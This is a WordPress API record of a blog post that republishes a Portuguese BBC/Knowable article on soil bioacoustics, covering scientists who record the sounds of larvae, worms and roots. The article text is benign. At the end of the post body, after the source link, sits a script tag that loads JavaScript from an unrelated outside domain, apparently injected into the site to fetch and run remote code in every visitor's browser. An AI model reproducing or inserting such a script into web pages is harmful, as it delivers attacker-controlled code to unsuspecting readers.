{"id":2368,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/como-os-cientistas-comecam-a-desvendar-os-sons-desconhecidos-da-terra-10-07-2022\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"como-os-cientistas-comecam-a-desvendar-os-sons-desconhecidos-da-terra-10-07-2022","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/como-os-cientistas-comecam-a-desvendar-os-sons-desconhecidos-da-terra-10-07-2022\/","title":{"rendered":"Como os cientistas come\u00e7am a desvendar os sons desconhecidos da terra &#8211; 10\/07\/2022"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p class=\"lead\">As minhocas, larvas e ra\u00edzes produzem uma imensidade de sons dissonantes sob nossos p\u00e9s que s\u00f3 agora est\u00e3o come\u00e7ando a ser ouvidos, como forma de tentar entender melhor a vida embaixo da terra.\n            <\/p>\n<p>A primeira vez que Marcus Maeder fixou um sensor de ru\u00eddos no solo foi por curiosidade. Artista do som e ecologista ac\u00fastico, ele estava sentado sobre a grama da montanha e fincou no solo um microfone especial que ele havia constru\u00eddo.<\/p>\n<p>&#8220;Eu estava apenas curioso&#8221;, relembra Maeder, que agora trabalha em uma disserta\u00e7\u00e3o sobre os sons da biodiversidade no Instituto Federal de Tecnologia em Zurique, na Su\u00ed\u00e7a.<\/p>\n<p>Ele certamente n\u00e3o estava preparado para a algazarra que invadiu seus fones de ouvidos. &#8220;Eram sons muito estranhos&#8221;, afirma ele. &#8220;Havia vibra\u00e7\u00f5es, trinados e raspagens. Voc\u00ea precisa de um vocabul\u00e1rio novo para descrev\u00ea-los.&#8221;<\/p>\n<p>Maeder percebeu que estava espionando criaturas que vivem no solo.<\/p>\n<p>Os ecologistas sabem h\u00e1 muito tempo que a terra abaixo dos nossos p\u00e9s abriga maior diversidade e quantidade de vida que quase qualquer outro lugar do planeta. Para o leigo, o solo parece pouco mais que uma camada compacta de terra suja. Mas, na verdade, o solo \u00e9 um cen\u00e1rio labir\u00edntico de t\u00faneis, cavidades, ra\u00edzes e detritos em decomposi\u00e7\u00e3o.<\/p>\n<p>Em apenas uma x\u00edcara de terra, os pesquisadores j\u00e1 contaram at\u00e9 100 milh\u00f5es de formas de vida, de mais de 5 mil esp\u00e9cies. Os moradores do subsolo variam de fungos e bact\u00e9rias microsc\u00f3picas, \u00e1caros e col\u00eambolos do tamanho da ponta de um l\u00e1pis, at\u00e9 centopeias, lesmas e minhocas que podem chegar a mais de um metro de comprimento. Junto a eles, existem as toupeiras, ratos e coelhos que vivem ao menos parte das suas vidas em t\u00faneis e covas subterr\u00e2neas.<\/p>\n<p>&#8220;\u00c9 uma biodiversidade extraordin\u00e1ria&#8221;, afirma Uffe Nielsen, bi\u00f3logo do solo da Universidade do Oeste de Sydney, na Austr\u00e1lia. E tamb\u00e9m \u00e9 vital \u2014 coletivamente, essas comunidades subterr\u00e2neas formam grande parte da base da vida do planeta, desde os alimentos que comemos at\u00e9 o ar que respiramos.<\/p>\n<p>Atualmente, no campo relativamente novo conhecido como bioac\u00fastica do solo \u2014 que alguns preferem chamar de biotremologia ou ecoac\u00fastica do solo \u2014, cada vez mais bi\u00f3logos est\u00e3o capturando ru\u00eddos subterr\u00e2neos para abrir uma janela para esse mundo complexo e misterioso.<\/p>\n<p>Eles descobriram que um simples prego met\u00e1lico fixado na terra pode funcionar como uma esp\u00e9cie de antena de cabe\u00e7a para baixo, se for equipado com os sensores corretos. E, quanto mais os pesquisadores escutam, mais se torna evidente como \u00e9 vibrante a vida no solo sob nossos p\u00e9s.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/eb\/2022\/07\/10\/o-solo-abriga-grandes-quantidades-de-organismos-minusculos-como-os-colembolos-que-fazem-ruidos-distintos-que-so-agora-os-cientistas-comecam-a-estudar-1657455878248_v2_750x421.jpg\" class=\"pinit-img\" alt=\"O solo abriga grandes quantidades de organismos min\u00fasculos, como os col\u00eambolos, que fazem ru\u00eddos distintos que s\u00f3 agora os cientistas come\u00e7am a estudar - Getty Images - Getty Images\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>O solo abriga grandes quantidades de organismos min\u00fasculos, como os col\u00eambolos, que fazem ru\u00eddos distintos que s\u00f3 agora os cientistas come\u00e7am a estudar<\/p>\n<p> <span>Imagem: Getty Images<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Espionar essa cacofonia de sons subterr\u00e2neos promete revelar n\u00e3o apenas quais formas de vida residem abaixo dos nossos p\u00e9s, mas tamb\u00e9m como elas passam sua exist\u00eancia &#8211; como elas comem ou ca\u00e7am, como deslizam umas sobre as outras sem serem notadas e como tamborilam, sapateiam ou cantam para chamar a aten\u00e7\u00e3o dos demais.<\/p>\n<p>Para Nielsen, a vida no subsolo &#8220;\u00e9 uma caixa preta. \u00c0 medida que a abrimos, percebemos como nosso conhecimento \u00e9 pequeno.&#8221;<\/p>\n<p>A compreens\u00e3o dessa vida no subsolo \u00e9 importante porque a ecologia do solo \u00e9 fundamental. &#8220;O solo ajuda a transformar elementos nutrientes como carbono, nitrog\u00eanio, f\u00f3sforo e pot\u00e1ssio, que alimentam as plantas, para termos comida, florestas ou para preencher o ar com oxig\u00eanio e todos n\u00f3s podermos respirar&#8221;, segundo Steven Banwart, pesquisador do solo, agricultura e da \u00e1gua da Universidade de Leeds, no Reino Unido.<\/p>\n<p>Banwart \u00e9 um dos autores de uma an\u00e1lise das fun\u00e7\u00f5es do solo, publicada na revista Annual Review of Earth and Planetary Sciences. Minhocas, larvas, fungos, bact\u00e9rias e outros decompositores est\u00e3o envolvidos em todas as etapas.<\/p>\n<p>E cada organismo do solo produz sua pr\u00f3pria trilha sonora. Larvas que se alimentam de ra\u00edzes emitem cliques curtos enquanto rompem as fibras da sua refei\u00e7\u00e3o. Minhocas sussurram enquanto se arrastam pelos t\u00faneis, da mesma forma que as ra\u00edzes das plantas \u00e0 medida que empurram gr\u00e3os de terra, como relataram pesquisadores su\u00ed\u00e7os em 2018.<\/p>\n<p>Mas as ra\u00edzes se movem mais lentamente que as minhocas e em velocidade mais constante. Diferenciando esses sons, os estudiosos da ac\u00fastica do solo pretendem esclarecer quest\u00f5es que ainda est\u00e3o sem resposta, como: quando as ra\u00edzes das plantas crescem? \u00e0 noite? durante o dia? somente quando chove?<\/p>\n<h2>Ru\u00eddos do solo s\u00e3o \u00fateis para os animais<\/h2>\n<p>N\u00f3s, seres humanos, podemos ser os \u00faltimos a descobrir essa trilha sonora subterr\u00e2nea.<\/p>\n<p>Os p\u00e1ssaros podem ser frequentemente vistos pulando nos gramados com a cabe\u00e7a em riste. Pesquisadores acreditam que isso ocorre porque eles est\u00e3o ouvindo as larvas e minhocas embaixo da terra. Muitas vezes, eles bicam o solo no momento certo para puxar sua presa desprevenida.<\/p>\n<p>J\u00e1 a tartaruga-da-madeira da Am\u00e9rica do Norte beneficia-se da aten\u00e7\u00e3o dada pelas minhocas \u00e0s vibra\u00e7\u00f5es causadas pela queda de chuva. A tartaruga pisa forte sobre o solo para imitar a chuva, de forma que as minhocas v\u00eam \u00e0 superf\u00edcie e se tornam um lanche suculento para o r\u00e9ptil.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/8d\/2022\/07\/10\/a-toupeira-dourada-do-deserto-da-namibia-possui-ossiculos-maiores-nos-ouvidos-talvez-para-ajuda-las-a-ouvir-as-presas-que-nadam-na-areia-1657456035219_v2_750x421.jpg\" class=\"pinit-img\" alt=\"A toupeira-dourada do deserto da Nam\u00edbia possui oss\u00edculos maiores nos ouvidos, talvez para ajud\u00e1-las a ouvir as presas que 'nadam' na areia. - Minden Pictures\/Alamy - Minden Pictures\/Alamy\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>A toupeira-dourada do deserto da Nam\u00edbia possui oss\u00edculos maiores nos ouvidos, talvez para ajud\u00e1-las a ouvir as presas que &#8216;nadam&#8217; na areia.<\/p>\n<p> <span>Imagem: Minden Pictures\/Alamy<\/span><\/figcaption><\/figure>\n<\/div>\n<p>As vibra\u00e7\u00f5es subterr\u00e2neas podem tamb\u00e9m ser fundamentais para sinais que parecem ser propositais. Acredita-se que os ratos-toupeira, que vivem em tocas subterr\u00e2neas, possam comunicar-se com os demais nas proximidades batendo suas cabe\u00e7as ou os p\u00e9s contra as paredes dos seus t\u00faneis.<\/p>\n<p>Tamb\u00e9m j\u00e1 se observou que as formigas cortadeiras criam ru\u00eddos quando ficam enterradas durante escava\u00e7\u00f5es nos formigueiros, para que outras formigas trabalhadoras corram at\u00e9 o local e comecem a cavar para resgatar a companheira.<\/p>\n<p>Alguns desses sons subterr\u00e2neos s\u00e3o aud\u00edveis para o ouvido humano, mas muitos t\u00eam frequ\u00eancia e volume altos ou baixos demais. Para estes, os pesquisadores utilizam instrumentos como sensores piezoel\u00e9tricos, que funcionam como os microfones de contato que voc\u00ea pode fixar a um viol\u00e3o.<\/p>\n<p>Fixados a um prego enterrado no solo, que pode ter at\u00e9 30 cm de comprimento, esses sensores detectam vibra\u00e7\u00f5es que os pesquisadores convertem em sinais eletr\u00f4nicos e amplificam at\u00e9 que os seres humanos possam ouvi-los.<\/p>\n<h2>&#8216;Cantos de p\u00e1ssaros&#8217;<\/h2>\n<p>Carolyn-Monika G\u00f6rres, ecologista da paisagem da Universidade de Geisenheim, na Alemanha, ficou surpresa ao descobrir o quanto podem revelar os ru\u00eddos subterr\u00e2neos.<\/p>\n<p>G\u00f6rres estuda as larvas de besouros que se alimentam de ra\u00edzes, conhecidas como larvas brancas. Seu interesse espec\u00edfico \u00e9 pelos gases que essas larvas emitem, como metano. Os bi\u00f3logos suspeitam que esses pequenos insetos, pertencentes a v\u00e1rias esp\u00e9cies, s\u00e3o respons\u00e1veis por quantidades substanciais de emiss\u00f5es clim\u00e1ticas, devido aos seus imensos n\u00fameros. Estima-se que os cupins, por exemplo, produzem cerca de 1,5% das emiss\u00f5es globais de metano. Comparativamente, as emiss\u00f5es da minera\u00e7\u00e3o de carv\u00e3o representam 5-6%.<\/p>\n<p>Inicialmente, G\u00f6rres ficou desorientada. Como ela saberia quantas dessas larvas com cent\u00edmetros de comprimento viviam em um peda\u00e7o de solo? &#8220;Tradicionalmente, voc\u00ea cava o solo para ver o que h\u00e1 ali&#8221;, ela conta. &#8220;Mas, assim, tudo fica danificado.&#8221;<\/p>\n<p>Por isso, G\u00f6rres foi de bicicleta at\u00e9 pradarias e florestas perto da sua cidade e enterrou duas d\u00fazias de sensores ac\u00fasticos no solo para gravar as larvas cuidando das suas atividades. Ela conta que, quando mostra as grava\u00e7\u00f5es para outras pessoas, &#8220;alguns dizem que parece o rangido de uma \u00e1rvore. Outros ouvem peda\u00e7os de lixa sendo esfregados entre si.&#8221;<\/p>\n<p>G\u00f6rres aprendeu a diferenciar as duas esp\u00e9cies de larvas brancas que ela estuda \u2014 o besouro-comum (<em>Melolontha melolontha<\/em>) e o besouro-da-floresta (<em>Melolontha hippocastani<\/em>) \u2014 devido a um zumbido que \u00e9 similar ao canto estridente (estridula\u00e7\u00e3o) das cigarras e dos gafanhotos acima da terra.<\/p>\n<p>As larvas produzem esse som esfregando suas mand\u00edbulas. &#8220;Pode-se dizer que elas rangem os dentes para falar com as demais embaixo da terra&#8221;, descreve G\u00f6rres. &#8220;A beleza dessas estridula\u00e7\u00f5es \u00e9 que elas parecem ser espec\u00edficas para cada esp\u00e9cie, como os cantos dos p\u00e1ssaros.&#8221;<\/p>\n<p>Quando as larvas se transformam em pupas, elas alteram seu mecanismo de produ\u00e7\u00e3o de ru\u00eddos, girando o abd\u00f4men dentro da sua carapa\u00e7a e batendo-o contra a parede da carapa\u00e7a. Mas por que elas fazem isso? O motivo n\u00e3o est\u00e1 claro.<\/p>\n<p>Acima do solo, os sons estridentes dos insetos atraem parceiros sexuais. Mas, para as larvas, &#8220;a reprodu\u00e7\u00e3o ainda n\u00e3o \u00e9 importante&#8221;, segundo G\u00f6rres. Para aprender mais, a ecologista (que apelidou seu projeto ac\u00fastico do solo de &#8220;Twitter subterr\u00e2neo&#8221;) encheu recipientes com solo arenoso do habitat natural dos insetos, acrescentou fatias de cenouras para manter as larvas felizes e as levou para o seu laborat\u00f3rio.<\/p>\n<p>Ela observou que as larvas mantidas sozinhas raramente emitiam sons. Mas, se houvesse mais de uma no mesmo recipiente, elas cantavam &#8211; e muito! Um trio de larvas de besouros estridulou por 682 vezes em suas primeiras duas horas e meia juntas.<\/p>\n<p>G\u00f6rres suspeita que as larvas cantem para afastar as demais. As larvas comem insistentemente \u2014 &#8220;seu \u00fanico prop\u00f3sito na vida \u00e9 ganhar biomassa&#8221;, segundo ela \u2014 e, se muitas larvas dividirem o mesmo peda\u00e7o de solo, elas come\u00e7am a canibalizar-se. Em apoio a essa teoria, G\u00f6rres indica que os cientistas j\u00e1 identificaram larvas mudando de curso para evitar pupas que est\u00e3o batendo seus abdomens.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-12 col-md-13 col-lg-11  crop-450x450 limit-crop  figure\" style=\"max-width:450px\" data-format=\"quadrado\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:450px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/52\/2022\/07\/10\/as-larvas-de-besouros-emitem-uma-cancao-estridente-rangendo-as-mandibulas-talvez-para-indicar-sua-presenca-para-outras-larvas-proximas-1657456131879_v2_450x450.jpg\" class=\"pinit-img\" alt=\"As larvas de besouros emitem uma can\u00e7\u00e3o estridente rangendo as mand\u00edbulas, talvez para indicar sua presen\u00e7a para outras larvas pr\u00f3ximas. - Getty Images - Getty Images\" data-crop=\"{&quot;xs&quot;:&quot;300x300&quot;,&quot;lg&quot;:&quot;450x450&quot;}\" width=\"450\" height=\"450\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 100%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>As larvas de besouros emitem uma can\u00e7\u00e3o estridente rangendo as mand\u00edbulas, talvez para indicar sua presen\u00e7a para outras larvas pr\u00f3ximas.<\/p>\n<p> <span>Imagem: Getty Images<\/span><\/figcaption><\/figure>\n<\/div>\n<h2>O som \u00e9 barato<\/h2>\n<p>Quando falamos sobre sons, referimo-nos principalmente \u00e0s ondas de press\u00e3o que viajam atrav\u00e9s do ar. Quando atingem os nossos ouvidos, elas fazem vibrar os t\u00edmpanos e nossos c\u00e9rebros, por fim, traduzem essas oscila\u00e7\u00f5es em sons.<\/p>\n<p>Mas essas ondas tamb\u00e9m podem mover-se atrav\u00e9s de outros meios, como a \u00e1gua ou o solo. Os elefantes conhecem bem esse processo. Eles vocalizam um estrondo em baixa frequ\u00eancia que se propaga atrav\u00e9s do solo, permitindo que eles fa\u00e7am contato com irm\u00e3os distantes que captam os sinais com a sola dos p\u00e9s.<\/p>\n<p>As emiss\u00f5es ac\u00fasticas tamb\u00e9m podem viajar por diferentes meios ao mesmo tempo. Grilos-toupeira machos (<em>Gryllotalpa major<\/em>) cavam tocas em forma de chifre no solo arenoso, de onde estridulam esfregando suas asas. Esse gorjeio serve para cortejar as f\u00eameas que est\u00e3o voando no ar, mas ele tamb\u00e9m viaja na forma de vibra\u00e7\u00f5es atrav\u00e9s do solo, onde pode afastar outros grilos machos nas suas pr\u00f3prias tocas subterr\u00e2neas.<\/p>\n<p>Alguns animais adaptaram seus ouvidos para captar melhor essas vibra\u00e7\u00f5es transmitidas atrav\u00e9s de substratos. No Deserto da Nam\u00edbia, vive a toupeira-dourada &#8211; um pequeno mam\u00edfero peludo de h\u00e1bitos noturnos e quase cego. \u00c0 noite, a toupeira ca\u00e7a cupins nas dunas &#8220;nadando&#8221; atrav\u00e9s da areia, com sua cabe\u00e7a e os ombros submersos.<\/p>\n<p>Os bi\u00f3logos acreditam que ela fa\u00e7a isso para ouvir a presa. Um dos oss\u00edculos do ouvido m\u00e9dio da toupeira \u00e9 muito grande. Pesquisadores acreditam que isso ajuda o animal a captar vibra\u00e7\u00f5es transmitidas pelo solo, em um processo similar ao verificado com ondas sonoras a\u00e9reas em ouvidos humanos.<\/p>\n<p>J\u00e1 as cobras recebem sinais vibrat\u00f3rios atrav\u00e9s dos sensores nas suas mand\u00edbulas, enquanto a toupeira-nariz-de-estrela possui um nariz estranho com tent\u00e1culos, que pode captar vibra\u00e7\u00f5es. E muitos insetos possuem sensores mec\u00e2nicos nas patas que registram pulsos no solo.<\/p>\n<p>Faz todo sentido que os animais subterr\u00e2neos incorporem o som \u00e0s suas vidas, segundo Matthias Rillig, ecologista do solo da Universidade Livre de Berlim, na Alemanha. &#8220;O som \u00e9 um sinal em alta velocidade que tem custo muito baixo&#8221;, afirma ele &#8211; certamente menor que o da produ\u00e7\u00e3o de subst\u00e2ncias como ferom\u00f4nios para comunica\u00e7\u00e3o.<\/p>\n<p>O som tamb\u00e9m tende a viajar mais r\u00e1pido e mais longe que os sinais qu\u00edmicos. O estrondo de um elefante pode propagar-se por quil\u00f4metros. J\u00e1 as vibra\u00e7\u00f5es criadas por um pequeno inseto subterr\u00e2neo podem atingir apenas algumas dezenas de cent\u00edmetros ? mas, em um mundo medido em grande parte em micr\u00f4metros, esta ainda \u00e9 uma longa dist\u00e2ncia.<\/p>\n<h2>Plantas e fungos na escuta<\/h2>\n<p>Mas existem outras formas de vida, al\u00e9m dos insetos, que detectam essas vibra\u00e7\u00f5es subterr\u00e2neas e fazem uso delas?<\/p>\n<p>Rillig come\u00e7ou um projeto em que ele e Maeder trazem para o laborat\u00f3rio criaturas min\u00fasculas, como col\u00eambolos e \u00e1caros do solo, e os acompanham por horas para testar quanto barulho eles fazem, isoladamente ou em grupos com outras esp\u00e9cies. O ecologista imagina se os fungos poderiam ser capazes de registrar os sons desses micropredadores e afastar-se dos locais onde eles se re\u00fanem, j\u00e1 que alguns deles gostam de comer filamentos f\u00fangicos.<\/p>\n<p>&#8220;Ou um fungo poderia reagir a indica\u00e7\u00f5es sonoras de perigo aumentando a produ\u00e7\u00e3o de esporos&#8221;, afirma Rillig. Isso ajudaria a garantir a dispers\u00e3o dos seus genes antes que ele seja comido.<\/p>\n<p>J\u00e1 existem evid\u00eancias de que as plantas, pelo menos, fazem uso do som para auxiliar na sua sobreviv\u00eancia. A ecologista evolutiva Monica Gagliano ofereceu a plantas de ervilha (<em>Pisum sativum<\/em>) a op\u00e7\u00e3o de fazer crescer suas ra\u00edzes em diferentes tubos de pl\u00e1stico. Todos os tubos foram preenchidos com solo para os testes, mas alguns foram expostos \u00e0s vibra\u00e7\u00f5es de fluxo de \u00e1gua (correndo atrav\u00e9s de um cano no lado de fora do tubo).<\/p>\n<p>Gagliano, do Laborat\u00f3rio de Intelig\u00eancia Biol\u00f3gica da Universidade Southern Cross, da Universidade do Oeste da Austr\u00e1lia e da Universidade de Sydney, todas na Austr\u00e1lia, relatou que as plantas de ervilha favoreceram o crescimento de ra\u00edzes em dire\u00e7\u00e3o ao som da \u00e1gua, mesmo que a \u00e1gua n\u00e3o fosse acess\u00edvel para as plantas e que nenhuma umidade pudesse vazar para os tubos.<\/p>\n<h2>Controle de pragas<\/h2>\n<p>Al\u00e9m de informar os ecologistas, a ac\u00fastica subterr\u00e2nea poder\u00e1 nos ajudar a cuidar melhor do meio ambiente e detectar pragas que causam preju\u00edzos de bilh\u00f5es de d\u00f3lares todos os anos.<\/p>\n<p>Em 1478, &#8220;escaravelhos do pasto estavam causando danos significativos \u00e0s pradarias dos Alpes su\u00ed\u00e7os, ao ponto do bispo de Lausanne excomungar os herb\u00edvoros invasores&#8221;, segundo escreveram cientistas em um estudo de 2015 sobre insetos que se alimentam de ra\u00edzes.<\/p>\n<p>Para indicar um exemplo atual, infesta\u00e7\u00f5es da broca-da-raiz-da-videira, <em>Vitacea polistiformis<\/em>, podem reduzir a produ\u00e7\u00e3o dos vinhedos em at\u00e9 47%.<\/p>\n<p>Sem uma forma de identificar as infesta\u00e7\u00f5es, os administradores de campos muitas vezes precisam recorrer ao controle de pragas, como a aplica\u00e7\u00e3o de pesticidas de cobertura, segundo Louise Roberts, especialista em bioac\u00fastica da Universidade Cornell, nos Estados Unidos. &#8220;Mas isso mata todo tipo de vida subterr\u00e2nea&#8221;.<\/p>\n<p>Muitas vezes, seria suficiente tratar apenas partes de um campo de plantio ou de golfe, pois os insetos do solo tendem a se reunir. &#8220;Mas, para que isso funcione, voc\u00ea precisa saber onde as pragas est\u00e3o&#8221;, adverte ela.<\/p>\n<p>Por isso, Roberts e seus colegas est\u00e3o conduzindo um estudo para verificar se os administradores de campos podem colocar sensores no gramado e usar as frequ\u00eancias dos sons coletados para identificar infesta\u00e7\u00f5es de pragas subterr\u00e2neas e suas esp\u00e9cies. O trabalho est\u00e1 em andamento, mas os primeiros resultados sugerem que isso \u00e9 poss\u00edvel, segundo Roberts.<\/p>\n<h2>A influ\u00eancia humana<\/h2>\n<p>Para sua decep\u00e7\u00e3o, os pesquisadores est\u00e3o descobrindo que nem tudo que eles detectam no solo \u00e9 novo e ex\u00f3tico. Alguns ru\u00eddos s\u00e3o inquietantemente familiares. Quando Marcus Maeder ouve os sons subterr\u00e2neos do seu pa\u00eds natal, a Su\u00ed\u00e7a, ele consegue &#8220;ouvir locais de constru\u00e7\u00e3o e rodovias que est\u00e3o distantes. At\u00e9 avi\u00f5es.&#8221;<\/p>\n<p>Ainda n\u00e3o se sabe ao certo qual o impacto da polui\u00e7\u00e3o sonora humana sobre a vida subterr\u00e2nea. Para Matthias Rillig, &#8220;\u00e9 dif\u00edcil acreditar que n\u00e3o haja impacto nenhum&#8221;. E os cientistas tamb\u00e9m est\u00e3o descobrindo que a orquestra subterr\u00e2nea de atividade animal come\u00e7ou a ficar em sil\u00eancio em grandes trechos de terra, particularmente nas fazendas de agricultura intensiva, onde &#8220;as coisas ficam quietas&#8221;, segundo Maeder.<\/p>\n<p>A redu\u00e7\u00e3o do ru\u00eddo indica diminui\u00e7\u00e3o da biodiversidade e, portanto, solo menos saud\u00e1vel. Isso coincide com um relat\u00f3rio recente da Organiza\u00e7\u00e3o das Na\u00e7\u00f5es Unidas para a Alimenta\u00e7\u00e3o e a Agricultura (FAO) que concluiu que um ter\u00e7o da terra do mundo j\u00e1 sofreu degrada\u00e7\u00e3o pelo menos moderada, muitas vezes devido \u00e0 agricultura.<\/p>\n<p>Para Maeder, talvez a ac\u00fastica do solo ajude mais pessoas a perceber a import\u00e2ncia do que est\u00e1 em risco. Ele come\u00e7ou um projeto de ci\u00eancia cidad\u00e3 que empresta sensores ac\u00fasticos para as pessoas na Su\u00ed\u00e7a ouvirem por si pr\u00f3prias a atividade subterr\u00e2nea. As grava\u00e7\u00f5es est\u00e3o sendo reunidas em uma biblioteca nacional de sons do solo, na esperan\u00e7a de incentivar a conscientiza\u00e7\u00e3o.<\/p>\n<p>At\u00e9 o momento, a demanda \u00e9 alta, segundo Maeder. &#8220;Os sensores est\u00e3o sempre emprestados.&#8221;<\/p>\n<p>*<em>Este<\/em><em> artigo foi publicado originalmente na revista jornal\u00edstica independente <\/em><a href=\"https:\/\/knowablemagazine.org\/article\/living-world\/2022\/life-soil-was-thought-be-silent-what-if-it-isnt\">Knowable<\/a><em>, da editora americana Annual Reviews, e republicado pelo site <\/em><a href=\"https:\/\/www.bbc.com\/future?xtor=AL-73-%5Bpartner%5D-%5Buol.com.br%5D-%5Blink%5D-%5Bbrazil%5D-%5Bbizdev%5D-%5Bisapi%5D\">BBC Future<\/a><em>. Leia a <\/em><a href=\"https:\/\/www.bbc.com\/future\/article\/20220225-the-people-eavesdropping-on-life-underground?xtor=AL-73-%5Bpartner%5D-%5Buol.com.br%5D-%5Blink%5D-%5Bbrazil%5D-%5Bbizdev%5D-%5Bisapi%5D\">vers\u00e3o original<\/a><em> (em ingl\u00eas).<\/em><\/p>\n<p>&#8211; O texto foi publicado originalmente em <a href=\"https:\/\/www.bbc.com\/portuguese\/vert-fut-61793019?xtor=AL-73-%5Bpartner%5D-%5Buol.com.br%5D-%5Blink%5D-%5Bbrazil%5D-%5Bbizdev%5D-%5Bisapi%5D\">https:\/\/www.bbc.com\/portuguese\/vert-fut-61793019<\/a><\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/bbc\/2022\/07\/10\/como-os-cientistas-comecam-a-desvendar-os-sons-desconhecidos-da-terra.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>As minhocas, larvas e ra\u00edzes produzem uma imensidade de sons dissonantes sob nossos p\u00e9s que s\u00f3 agora est\u00e3o come\u00e7ando a ser ouvidos, como forma de tentar entender melhor a vida embaixo da terra. A primeira vez que Marcus Maeder fixou um sensor de ru\u00eddos no solo foi por curiosidade. Artista do som e ecologista ac\u00fastico,&#8230;<\/p>\n","protected":false},"author":1,"featured_media":2369,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"footnotes":""},"categories":[1],"tags":[831,4098,12,4101,4099,4100,60],"class_list":["post-2368","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sem-categoria","tag-cientistas","tag-comecam","tag-como","tag-desconhecidos","tag-desvendar","tag-sons","tag-terra"],"_links":{"self":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/2368","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/comments?post=2368"}],"version-history":[{"count":0,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/posts\/2368\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media\/2369"}],"wp:attachment":[{"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/media?parent=2368"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/categories?post=2368"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/manualdoidoso.com.br\/blog\/wp-json\/wp\/v2\/tags?post=2368"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}